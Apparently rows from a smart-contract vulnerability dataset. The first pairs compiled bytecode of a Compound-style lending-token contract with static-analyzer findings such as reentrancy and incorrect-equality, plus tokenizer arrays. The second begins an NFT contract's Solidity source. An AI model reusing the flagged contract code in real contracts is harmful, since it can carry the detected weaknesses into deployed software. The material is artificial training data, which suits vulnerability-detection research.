c8871cd41250e190bc049181900360800190a160009e50505050505050505050505050505090565b6000805460ff166119a6576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff191681556119bc333386866120bd565b1490506000805460ff1916600117905592915050565b600a5481565b6006546000906001600160a01b031663b81688166119f46124ca565b600b54600c546008546040518563ffffffff1660e01b81526004018085815260200184815260200183815260200182815260200194505050505060206040518083038186803b158015611a4657600080fd5b505afa158015611a5a573d6000803e3d6000fd5b505050506040513d6020811015611a7057600080fd5b5051905090565b6000805460ff16611abc576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19169055611ad233858585612c19565b90506000805460ff191660011790559392505050565b60035460009061010090046001600160a01b03163314611b0e5761102b600160456125de565b600480546001600160a01b038481166001600160a01b0319831681179093556040805191909216808252602082019390935281517fca4f2f25d0898edd99413412fb94012f9e54ec8142f9b093e7720646a95b16a9929181900390910190a16000611153565b6000805460ff16611bb9576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155611bcb611609565b14611c16576040805162461bcd60e51b81526020600482015260166024820152751858d8dc9d59481a5b9d195c995cdd0819985a5b195960521b604482015290519081900360640190fd5b611c1e610d93565b90506000805460ff1916600117905590565b6001600160a01b0381166000908152600e6020526040812054819081908190818080611c5b896127f8565b935090506000816003811115611c6d57fe5b14611c8b5760095b975060009650869550859450611cbe9350505050565b611c9361200e565b925090506000816003811115611ca557fe5b14611cb1576009611c75565b5060009650919450925090505b9193509193565b6000610c5b82612e7f565b6000610c5b82612efe565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b6004546000906001600160a01b031633141580611d21575033155b15611d3957611d32600160006125de565b9050610df3565b60038054600480546001600160a01b03818116610100818102610100600160a81b0319871617968790556001600160a01b031990931690935560408051948390048216808652929095041660208401528351909391927ff9ffabca9c8276e99321725bcb43fb076a6c66a54b7f21c4e8146d8519b417dc92908290030190a1600454604080516001600160a01b038085168252909216602083015280517fca4f2f25d0898edd99413412fb94012f9e54ec8142f9b093e7720646a95b16a99281900390910190a160009250505090565b600080611e14611609565b90508015611e3a57611e32816010811115611e2b57fe5b60406125de565b915050610c72565b611153836128b0565b6006546001600160a01b031681565b600080611e60858585612f78565b5095945050505050565b60035461010090046001600160a01b031681565b6006546000906001600160a01b03166315f24053611e9a6124ca565b600b54600c546040518463ffffffff1660e01b815260040180848152602001838152602001828152602001935050505060206040518083038186803b158015611a4657600080fd5b6000805460ff16611f27576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155611f39611609565b90508015611f5757611244816010811115611f5057fe5b60466125de565b611255836130aa565b600181565b60008054819060ff16611fac576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155611fbe611609565b90508015611fe957611fdc816010811115611fd557fe5b60366125de565b925060009150611ffa9050565b611ff4333386613152565b92509250505b6000805460ff191660011790559092909150565b600d54600090819080612029575050600754600091506120b9565b60006120336124ca565b9050600061203f614cef565b600061205084600b54600c54613537565b93509050600081600381111561206257fe5b14612077579550600094506120b99350505050565b6120818386613575565b92509050600081600381111561209357fe5b146120a8579550600094506120b99350505050565b50516000955093506120b992505050565b9091565b600554604080516317b9b84b60e31b81523060048201526001600160a01b03868116602483015285811660448301526064820185905291516000938493169163bdcdc25891608480830192602092919082900301818787803b15801561212257600080fd5b505af1158015612136573d6000803e3d6000fd5b505050506040513d602081101561214c57600080fd5b50519050801561216b576121636003604a83612b31565b915050610fe3565b836001600160a01b0316856001600160a01b03161415612191576121636002604b6125de565b60006001600160a01b0387811690871614156121b057506000196121d8565b506001600160a01b038086166000908152600f60209081526040808320938a16835292905220545b6000806000806121e88589612aa6565b909450925060008460038111156121fb57fe5b146122195761220c6009604b6125de565b9650505050505050610fe3565b6001600160a01b038a166000908152600e602052604090205461223c9089612aa6565b9094509150600084600381111561224f57fe5b146122605761220c6009604c6125de565b6001600160a01b0389166000908152600e60205260409020546122839089612b97565b9094509050600084600381111561229657fe5b146122a75761220c6009604d6125de565b6001600160a01b03808b166000908152600e6020526040808220859055918b1681522081905560001985146122ff576001600160a01b03808b166000908152600f60209081526040808320938f168352929052208390555b886001600160a01b03168a6001600160a01b0316600080516020614faa8339815191528a6040518082815260200191505060405180910390a36005546040805163352b4a3f60e11b81523060048201526001600160a01b038d811660248301528c81166044830152606482018c905291519190921691636a56947e91608480830192600092919082900301818387803b15801561239b57600080fd5b505af11580156123af573d6000803e3d6000fd5b50600092506123bc915050565b9b9a5050505050505050505050565b60008054819060ff16612412576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155612424611609565b9050801561244f5761244281601081111561243b57fe5b60356125de565b9250600091506124609050565b61245a338686613152565b92509250505b6000805460ff1916600117905590939092509050565b6000806000612483614cef565b61248d8686612ac9565b909250905060008260038111156124a057fe5b146124b157509150600090506124c3565b60006124bc82613625565b9350935050505b9250929050565b601154604080516370a0823160e01b815230600482015290516000926001600160a01b03169182916370a0823191602480820192602092909190829003018186803b15801561251857600080fd5b505afa15801561252c573d6000803e3d6000fd5b505050506040513d602081101561254257600080fd5b505191505090565b6000805460ff1661258f576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff191681556125a1611609565b905080156125bf576112448160108111156125b857fe5b604e6125de565b6125c883613634565b509150506000805460ff19166001179055919050565b60007f45b96fe442630264581b197e84bbada861235052c5a1aadfff9ea4e40a969aa083601081111561260d57fe5b83605081111561261957fe5b604080519283526020830191909152600082820152519081900360600190a182601081111561115357fe5b600354600090819061010090046001600160a01b0316331461266c57611e32600160316125de565b6126746128ac565b6009541461268857611e32600a60336125de565b826126916124ca565b10156126a357611e32600e60326125de565b600c548311156126b957611e32600260346125de565b50600c54828103908111156126ff5760405162461bcd60e51b81526004018080602001828103825260248152602001806150bf6024913960400191505060405180910390fd5b600c81905560035461271f9061010090046001600160a01b03168461371c565b600354604080516101009092046001600160a01b0316825260208201859052818101839052517f3bad0c59cf2f06e7314077049f48a93578cd16f5ef92329f1dab1420a99c177e916060908290030190a16000611153565b6000805460ff166127bc576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff191681556127ce611609565b905080156127ec576112448160108111156127e557fe5b60276125de565b61125533600085613813565b6001600160a01b03811660009081526010602052604081208054829182918291829161282f5750600094508493506128a792505050565b61283f8160000154600a54613cda565b9094509250600084600381111561285257fe5b146128675750919350600092506128a7915050565b612875838260010154613d19565b9094509150600084600381111561288857fe5b1461289d5750919350600092506128a7915050565b5060009450925050505b915091565b4390565b600354600090819061010090046001600160a01b031633146128d857611e32600160426125de565b6128e06128ac565b600954146128f457611e32600a60416125de565b600660009054906101000a90046001600160a01b03169050826001600160a01b0316632191f92a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561294557600080fd5b505afa158015612959573d6000803e3d6000fd5b505050506040513d602081101561296f57600080fd5b50516129c2576040805162461bcd60e51b815260206004820152601c60248201527f6d61726b6572206d6574686f642072657475726e65642066616c736500000000604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b03858116918217909255604080519284168352602083019190915280517fedffc32e068c7c95dfd4bdfd5c4d939a084d6b11c4199eac8436ed234d72f9269281900390910190a16000611153565b60008054819060ff16612a6c576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155612a7e611609565b90508015612a9c57611fdc816010811115612a9557fe5b601e6125de565b611ff43385613d44565b600080838311612abd5750600090508183036124c3565b506003905060006124c3565b6000612ad3614cef565b600080612ae4866000015186613cda565b90925090506000826003811115612af757fe5b14612b16575060408051602081019091526000815290925090506124c3565b60408051602081019091529081526000969095509350505050565b60007f45b96fe442630264581b197e84bbada861235052c5a1aadfff9ea4e40a969aa0846010811115612b6057fe5b846050811115612b6c57fe5b604080519283526020830191909152818101859052519081900360600190a1836010811115610fe357fe5b600080838301848110612baf576000925090506124c3565b5060029150600090506124c3565b6000806000612bca614cef565b612bd48787612ac9565b90925090506000826003811115612be757fe5b14612bf85750915060009050612c11565b612c0a612c0482613625565b86612b97565b9350935050505b935093915050565b6005546040805163d02f735160e01b81523060048201526001600160a01b038781166024830152868116604483015285811660648301526084820185905291516000938493169163d02f73519160a480830192602092919082900301818787803b158015612c8657600080fd5b505af1158015612c9a573d6000803e3d6000fd5b505050506040513d6020811015612cb057600080fd5b505190508015612cc7576121636003601b83612b31565b846001600160a01b0316846001600160a01b03161415612ced576121636006601c6125de565b6001600160a01b0384166000908152600e602052604081205481908190612d149087612aa6565b90935091506000836003811115612d2757fe5b14612d4a57612d3f6009601a8560038111156117f157fe5b945050505050610fe3565b6001600160a01b0388166000908152600e6020526040902054612d6d9087612b97565b90935090506000836003811115612d8057fe5b14612d9857612d3f600960198560038111156117f157fe5b6001600160a01b038088166000818152600e60209081526040808320879055938c168083529184902085905583518a815293519193600080516020614faa833981519152929081900390910190a360055460408051636d35bf9160e01b81523060048201526001600160a01b038c811660248301528b811660448301528a81166064830152608482018a905291519190921691636d35bf919160a480830192600092919082900301818387803b158015612e5157600080fd5b505af1158015612e65573d6000803e3d6000fd5b5060009250612e72915050565b9998505050505050505050565b6000805460ff16612ec4576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155612ed6611609565b90508015612ef457611244816010811115612eed57fe5b60086125de565b61125533846141a3565b6000805460ff16612f43576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155612f55611609565b90508015612f6c576112448160108111156127e557fe5b61125533846000613813565b60008054819060ff16612fbf576040805162461bcd60e51b815260206004820152600a6024820152691c994b595b9d195c995960b21b604482015290519081900360640190fd5b6000805460ff19168155612fd1611609565b90508015612ffc57612fef816010811115612fe857fe5b600f6125de565b9250600091506130939050565b836001600160a01b031663a6afed956040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561303757600080fd5b505af115801561304b573d6000803e3d6000fd5b505050506040513d602081101561306157600080fd5b50519050801561308157612fef81601081111561307a57fe5b60106125de565b61308d338787876144b1565b92509250505b6000805460ff191660011790559094909350915050565b60035460009061010090046001600160a01b031633146130d05761102b600160476125de565b6130d86128ac565b600954146130ec5761102b600a60486125de565b670de0b6b3a76400008211156131085761102b600260496125de565b6008805490839055604080518281526020810185905281517faaa68312e2ea9d50e16af5068410ab56e1a1fd06037b1a35664812c30f821460929181900390910190a16000611153565b60055460408051631200453160e11b81523060048201526001600160a01b0386811660248301528581166044830152606482018590529151600093849384939116916324008a629160848082019260209290919082900301818787803b1580156131bb57600080fd5b505af11580156131cf573d6000803e3d6000fd5b505050506040513d60208110156131e557600080fd5b505190508015613209576131fc6003603883612b31565b925060009150612c119050565b6132116128ac565b60095414613225576131fc600a60396125de565b61322d614d80565b6001600160a01b0386166000908152601060205260409020600101546060820152613257866127f8565b608083018190526020830182600381111561326e57fe5b600381111561327957fe5b905250600090508160200151600381111561329057fe5b146132ba576132ac60096037836020015160038111156117f157fe5b935060009250612c11915050565b6000198514156132d357608081015160408201526132db565b604081018590525b6132e9878260400151614a34565b60e0820181905260808201516132fe91612aa6565b60a083018190526020830182600381111561331557fe5b600381111561332057fe5b905250600090508160200151600381111561333757fe5b146133735760405162461bcd60e51b815260040180806020018281038252603a815260200180614f70603a913960400191505060405180910390fd5b613383600b548260e00151612aa6565b60c083018190526020830182600381111561339a57fe5b60038111156133a557fe5b90525060009050816020015160038111156133bc57fe5b146133f85760405162461bcd60e51b8152600401808060200182810382526031815260200180614fca6031913960400191505060405180910390fd5b60a080820180516001600160a01b03808a16600081815260106020908152604091829020948555600a5460019095019490945560c0870151600b81905560e088015195518251948f16855294840192909252828101949094526060820192909252608081019190915290517f1a2a22cb034d26d1854bdc6666a5b91fe25efbbb5dcad3b0355478d6f5c362a1929181900390910190a160055460e0820151606083015160408051631ededc9160e01b81523060048201526001600160a01b038c811660248301528b8116604483015260648201949094526084810192909252519190921691631ededc919160a480830192600092919082900301818387803b15801561350357600080fd5b505af1158015613517573d6000803e3d6000fd5b5060009250613524915050565b8160e00151935093505050935093915050565b6000806000806135478787612b97565b9092509050600082600381111561355a57fe5b1461356b5750915060009050612c11565b612c0a8186612aa6565b600061357f614cef565b60008061359486670de0b6b3a7640000613cda565b909250905060008260038111156135a757fe5b146135c6575060408051602081019091526000815290925090506124c3565b6000806135d38388613d19565b909250905060008260038111156135e657fe5b14613608575060408051602081019091526000815290945092506124c3915050565b604080516020810190915290815260009890975095505050505050565b51670de0b6b3a7640000900490565b6000806000806136426128ac565b6009541461366157613656600a604f6125de565b935091506128a79050565b61366b3386614a34565b905080600c54019150600c548210156136cb576040805162461bcd60e51b815260206004820181905260248201527f61646420726573657276657320756e6578706563746564206f766572666c6f77604482015290519081900360640190fd5b600c829055604080513381526020810183905280820184905290517fa91e67c5ea634cd43a12c5a482724b03de01e85ca68702a53d0c2f45cb7c1dc59181900360600190a160009350915050915091565b6011546040805163a9059cbb60e01b81526001600160a01b0385811660048301526024820185905291519190921691829163a9059cbb9160448082019260009290919082900301818387803b15801561377457600080fd5b505af1158015613788573d6000803e3d6000fd5b5050505060003d600081146137a457602081146137ae57600080fd5b60001991506137ba565b60206000803e60005191505b508061380d576040805162461bcd60e51b815260206004820152601960248201527f544f4b454e5f5452414e534645525f4f55545f4641494c454400000000000000604482015290519081900360640190fd5b50505050565b6000821580613820575081155b61385b5760405162461bcd60e51b815260040180806020018281038252603481526020018061508b6034913960400191505060405180910390fd5b613863614dc6565b61386b61200e565b604083018190526020830182600381111561388257fe5b600381111561388d57fe5b90525060009050816020015160038111156138a457fe5b146138c8576138c06009602b836020015160038111156117f157fe5b915050611153565b83156139495760608101849052604080516020810182529082015181526138ef9085612476565b608083018190526020830182600381111561390657fe5b600381111561391157fe5b905250600090508160200151600381111561392857fe5b14613944576138c060096029836020015160038111156117f157fe5b6139c2565b6139658360405180602001604052808460400151815250614c7e565b606083018190526020830182600381111561397c57fe5b600381111561398757fe5b905250600090508160200151600381111561399e57fe5b146139ba576138c06009602a836020015160038111156117f157fe5b608081018390525b60055460608201516040805163eabe7d9160e01b81523060048201526001600160a01b03898116602483015260448201939093529051600093929092169163eabe7d919160648082019260209290919082900301818787803b158015613a2757600080fd5b505af1158015613a3b573d6000803e3d6000fd5b505050506040513d6020811015613a5157600080fd5b505190508015613a7157613a686003602883612b31565b92505050611153565b613a796128ac565b60095414613a8d57613a68600a602c6125de565b613a9d600d548360600151612aa6565b60a0840181905260208401826003811115613ab457fe5b6003811115613abf57fe5b9052506000905082602001516003811115613ad657fe5b14613af257613a686009602e846020015160038111156117f157fe5b6001600160a01b0386166000908152600e60205260409020546060830151613b1a9190612aa6565b60c0840181905260208401826003811115613b3157fe5b6003811115613b3c57fe5b9052506000905082602001516003811115613b5357fe5b14613b6f57613a686009602d846020015160038111156117f157fe5b8160800151613b7c6124ca565b1015613b8e57613a68600e602f6125de565b613b9c86836080015161371c565b60a0820151600d5560c08201516001600160a01b0387166000818152600e6020908152604091829020939093556060850151815190815290513093600080516020614faa833981519152928290030190a36080820151606080840151604080516001600160a01b038b168152602081019490945283810191909152517fe5b754fb1abb7f01b499791d0b820ae3b6af3424ac1c59768edb53f4ec31a9299281900390910190a160055460808301516060840151604080516351dff98960e01b81523060048201526001600160a01b038b81166024830152604482019490945260648101929092525191909216916351dff98991608480830192600092919082900301818387803b158015613caf57600080fd5b505af1158015613cc3573d6000803e3d6000fd5b5060009250613cd0915050565b9695505050505050565b60008083613ced575060009050806124c3565b83830283858281613cfa57fe5b0414613d0e575060029150600090506124c3565b6000925090506124c3565b60008082613d2d57506001905060006124c3565b6000838581613d3857fe5b04915091509250929050565b60055460408051634ef4c3e160e01b81523060048201526001600160a01b03858116602483015260448201859052915160009384938493911691634ef4c3e19160648082019260209290919082900301818787803b158015613da557600080fd5b505af1158015613db9573d6000803e3d6000fd5b505050506040513d6020811015613dcf57600080fd5b505190508015613df357613de66003601f83612b31565b9250600091506124c39050565b613dfb6128ac565b60095414613e0f57613de6600a60226125de565b613e17614dc6565b613e1f61200e565b6040830181905260208301826003811115613e3657fe5b6003811115613e4157fe5b9052506000905081602001516003811115613e5857fe5b14613e8257613e7460096021836020015160038111156117f157fe5b9350600092506124c3915050565b613e8c8686614a34565b60c0820181905260408051602081018252908301518152613ead9190614c7e565b6060830181905260208301826003811115613ec457fe5b6003811115613ecf57fe5b9052506000905081602001516003811115613ee657fe5b14613f38576040805162461bcd60e51b815260206004820181905260248201527f4d494e545f45584348414e47455f43414c43554c4154494f4e5f4641494c4544604482015290519081900360640190fd5b613f48600d548260600151612b97565b6080830181905260208301826003811115613f5f57fe5b6003811115613f6a57fe5b9052506000905081602001516003811115613f8157fe5b14613fbd5760405162461bcd60e51b81526004018080602001828103825260288152602001806150636028913960400191505060405180910390fd5b6001600160a01b0386166000908152600e60205260409020546060820151613fe59190612b97565b60a0830181905260208301826003811115613ffc57fe5b600381111561400757fe5b905250600090508160200151600381111561401e57fe5b1461405a5760405162461bcd60e51b815260040180806020018281038252602b815260200180614f0e602b913960400191505060405180910390fd5b6080810151600d5560a08101516001600160a01b0387166000818152600e60209081526040918290209390935560c084015160608086015183519485529484019190915282820193909352517f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f929181900390910190a1606081015160408051918252516001600160a01b038816913091600080516020614faa8339815191529181900360200190a360055460c08201516060830151604080516341c728b960e01b81523060048201526001600160a01b038b81166024830152604482019490945260648101929092525191909216916341c728b991608480830192600092919082900301818387803b15801561417057600080fd5b505af1158015614184573d6000803e3d6000fd5b5060009250614191915050565b8160c001519350935050509250929050565b6005546040805163368f515360e21b81523060048201526001600160a01b0385811660248301526044820185905291516000938493169163da3d454c91606480830192602092919082900301818787803b15801561420057600080fd5b505af1158015614214573d6000803e3d6000fd5b505050506040513d602081101561422a57600080fd5b505190508015614249576142416003600e83612b31565b915050610c5b565b6142516128ac565b6009541461426457614241600a806125de565b8261426d6124ca565b101561427f57614241600e60096125de565b614287614e04565b614290856127f8565b60208301819052828260038111156142a457fe5b60038111156142af57fe5b90525060009050815160038111156142c357fe5b146142e8576142df60096007836000015160038111156117f157fe5b92505050610c5b565b6142f6816020015185612b97565b604083018190528282600381111561430a57fe5b600381111561431557fe5b905250600090508151600381111561432957fe5b14614345576142df6009600c836000015160038111156117f157fe5b614351600b5485612b97565b606083018190528282600381111561436557fe5b600381111561437057fe5b905250600090508151600381111561438457fe5b146143a0576142df6009600b836000015160038111156117f157fe5b6143aa858561371c565b604080820180516001600160a01b03881660008181526010602090815290859020928355600a54600190930192909255606080860151600b81905593518551928352928201899052818501929092529081019190915290517f13ed6866d4e1ee6da46f845c46d7e54120883d75c5ea9a2dacc1c4ca8984ab809181900360800190a160055460408051635c77860560e01b81523060048201526001600160a01b0388811660248301526044820188905291519190921691635c77860591606480830192600092919082900301818387803b15801561448757600080fd5b505af115801561449b573d6000803e3d6000fd5b50600092506144a8915050565b95945050505050565b60055460408051632fe3f38f60e11b81523060048201526001600160a01b0384811660248301528781166044830152868116606483015260848201869052915160009384938493911691635fc7e71e9160a48082019260209290919082900301818787803b15801561452257600080fd5b505af1158015614536573d6000803e3d6000fd5b505050506040513d602081101561454c57600080fd5b505190508015614570576145636003601283612b31565b925060009150614a2b9050565b6145786128ac565b6009541461458c57614563600a60166125de565b6145946128ac565b846001600160a01b0316636c540baf6040518163ffffffff1660e01b815260040160206040518083038186803b1580156145cd57600080fd5b505afa1580156145e1573d6000803e3d6000fd5b505050506040513d60208110156145f757600080fd5b50511461460a57614563600a60116125de565b866001600160a01b0316866001600160a01b0316141561463057614563600660176125de565b8461464157614563600760156125de565b60001985141561465757614563600760146125de565b600080614665898989613152565b909250905081156146955761468682601081111561467f57fe5b60186125de565b945060009350614a2b92505050565b6005546040805163c488847b60e01b81523060048201526001600160a01b038981166024830152604482018590528251600094859492169263c488847b926064808301939192829003018186803b1580156146ef57600080fd5b505afa158015614703573d6000803e3d6000fd5b505050506040513d604081101561471957600080fd5b508051602090910151909250905081156147645760405162461bcd60e51b8152600401808060200182810382526033815260200180614ffb6033913960400191505060405180910390fd5b80886001600160a01b03166370a082318c6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156147bb57600080fd5b505afa1580156147cf573d6000803e3d6000fd5b505050506040513d60208110156147e557600080fd5b5051101561483a576040805162461bcd60e51b815260206004820152601860248201527f4c49515549444154455f5345495a455f544f4f5f4d5543480000000000000000604482015290519081900360640190fd5b60006001600160a01b03891630141561486057614859308d8d85612c19565b90506148ea565b6040805163b2a02ff160e01b81526001600160a01b038e811660048301528d81166024830152604482018590529151918b169163b2a02ff1916064808201926020929091908290030181600087803b1580156148bb57600080fd5b505af11580156148cf573d6000803e3d6000fd5b505050506040513d60208110156148e557600080fd5b505190505b8015614934576040805162461bcd60e51b81526020600482015260146024820152731d1bdad95b881cd95a5e9d5c994819985a5b195960621b604482015290519081900360640190fd5b604080516001600160a01b03808f168252808e1660208301528183018790528b1660608201526080810184905290517f298637f684da70674f26509b10f07ec2fbc77a335ab1e7d6215a4b2484d8bb529181900360a00190a1600554604080516347ef3b3b60e01b81523060048201526001600160a01b038c811660248301528f811660448301528e811660648301526084820188905260a48201869052915191909216916347ef3b3b9160c480830192600092919082900301818387803b1580156149ff57600080fd5b505af1158015614a13573d6000803e3d6000fd5b5060009250614a20915050565b975092955050505050505b94509492505050565b601154604080516370a0823160e01b815230600482015290516000926001600160a01b031691839183916370a08231916024808301926020929190829003018186803b158015614a8357600080fd5b505afa158015614a97573d6000803e3d6000fd5b505050506040513d6020811015614aad57600080fd5b5051604080516323b872dd60e01b81526001600160a01b038881166004830152306024830152604482018890529151929350908416916323b872dd9160648082019260009290919082900301818387803b158015614b0a57600080fd5b505af1158015614b1e573d6000803e3d6000fd5b5050505060003d60008114614b3a5760208114614b4457600080fd5b6000199150614b50565b60206000803e60005191505b5080614ba3576040805162461bcd60e51b815260206004820152601860248201527f544f4b454e5f5452414e534645525f494e5f4641494c45440000000000000000604482015290519081900360640190fd5b601154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015614bee57600080fd5b505afa158015614c02573d6000803e3d6000fd5b505050506040513d6020811015614c1857600080fd5b5051905082811015614c71576040805162461bcd60e51b815260206004820152601a60248201527f544f4b454e5f5452414e534645525f494e5f4f564552464c4f57000000000000604482015290519081900360640190fd5b9190910395945050505050565b6000806000614c8b614cef565b61248d86866000614c9a614cef565b600080614caf670de0b6b3a764000087613cda565b90925090506000826003811115614cc257fe5b14614ce1575060408051602081019091526000815290925090506124c3565b6124bc818660000151613575565b6040518060200160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10614d4357805160ff1916838001178555614d70565b82800160010185558215614d70579182015b82811115614d70578251825591602001919060010190614d55565b50614d7c929150614e2d565b5090565b6040805161010081019091528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6040805160e0810190915280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b604080516080810190915280600081526020016000815260200160008152602001600081525090565b610df391905b80821115614d7c5760008155600101614e3356fe6f6e6c792061646d696e206d617920696e697469616c697a6520746865206d61726b65746d61726b6574206d6179206f6e6c7920626520696e697469616c697a6564206f6e6365696e697469616c2065786368616e67652072617465206d7573742062652067726561746572207468616e207a65726f2e73657474696e6720696e7465726573742072617465206d6f64656c206661696c65646f6e6c79207468652061646d696e206d61792063616c6c205f72657369676e496d706c656d656e746174696f6e4d494e545f4e45575f4143434f554e545f42414c414e43455f43414c43554c4154494f4e5f4641494c4544626f72726f7742616c616e636553746f7265643a20626f72726f7742616c616e636553746f726564496e7465726e616c206661696c656452455041595f424f52524f575f4e45575f4143434f554e545f424f52524f575f42414c414e43455f43414c43554c4154494f4e5f4641494c4544ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef52455041595f424f52524f575f4e45575f544f54414c5f42414c414e43455f43414c43554c4154494f4e5f4641494c45444c49515549444154455f434f4d5054524f4c4c45525f43414c43554c4154455f414d4f554e545f5345495a455f4641494c454465786368616e67655261746553746f7265643a2065786368616e67655261746553746f726564496e7465726e616c206661696c65644d494e545f4e45575f544f54414c5f535550504c595f43414c43554c4154494f4e5f4641494c45446f6e65206f662072656465656d546f6b656e73496e206f722072656465656d416d6f756e74496e206d757374206265207a65726f72656475636520726573657276657320756e657870656374656420756e646572666c6f776f6e6c79207468652061646d696e206d61792063616c6c205f6265636f6d65496d706c656d656e746174696f6ea265627a7a723158205d5f96c30495cbc2e281abf3f8c2e33ab9c7597f596024aa8c8713bfe64ee3c364736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "boolean-cst", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'boolean-cst', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2683, 2549, 2546, 18139, 2683, 19841, 2475, 2546, 2629, 2050, 14142, 26976, 2094, 2575, 12879, 2094, 28311, 2094, 2683, 2581, 7011, 22907, 2278, 16932, 24087, 17465, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2385, 1025, 12324, 1000, 1012, 1013, 14931, 11045, 2078, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 7328, 1005, 1055, 8292, 11890, 11387, 3206, 1008, 1030, 5060, 14931, 11045, 3619, 2029, 10236, 2019, 1041, 11514, 1011, 2322, 10318, 1008, 1030, 3166, 7328, 1008, 1013, 3206, 8292, 11890, 11387, 2003, 14931, 11045, 2078, 1010, 8292, 11890, 11387, 18447, 2121, 12172, 1063, 1013, 1008, 1008, 1008, 1030, 5060, 3988, 4697, 1996, 2047, 2769, 3006, 1008, 1030, 11498, 2213, 10318, 1035, 1996, 4769, 1997, 1996, 10318, 11412, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,144
0x9649d7cD37B66968648F43b7CB4dA5FAc1832d83
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; // ,--------.,------.,------. ,------.,--. ,--. // '--. .--'| .---'| .-. \ | .-. \\ `.' / // | | | `--, | | \ :| | \ :'. / // | | | `---.| '--' /| '--' / | | // `--' `------'`-------' `-------' `--' // ,-----. ,------. ,---. ,------. // | |) /_| .---' / O \ | .--. ' // | .-. \ `--, | .-. || '--'.' // | '--' / `---.| | | || |\ \ // `------'`------'`--' `--'`--' '--' // ,---. ,-----. ,--. ,--. ,---. ,------. // ' .-' ' .-. ' | | | | / O \ | .-. \ // `. `-. | | | | | | | || .-. || | \ : // .-' |' '-' '-.' '-' '| | | || '--' / // `-----' `-----'--' `-----' `--' `--'`-------' // @nftchef import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./ERC721SeqEnumerable.sol"; import "./rewardToken.sol"; //---------------------------------------------------------------------------- // OpenSea proxy //---------------------------------------------------------------------------- import "./common/ContextMixin.sol"; import "./common/NativeMetaTransaction.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // ERC20 $TOYS Token Interface interface IRewardToken { function spend(address _from, uint256 _amount) external; function getTotalClaimable(address _address) external; function updateReward(address _from, address _to) external; } //---------------------------------------------------------------------------- // Teddy Bear Squad //---------------------------------------------------------------------------- contract Main is ERC721SeqEnumerable, ContextMixin, NativeMetaTransaction, Ownable, Pausable, ReentrancyGuard, VRFConsumerBase { using Strings for uint256; using ECDSA for bytes32; uint128 public PUBLIC_SUPPLY = 9851; uint128 public MAX_SUPPLY = 10001; uint128 public 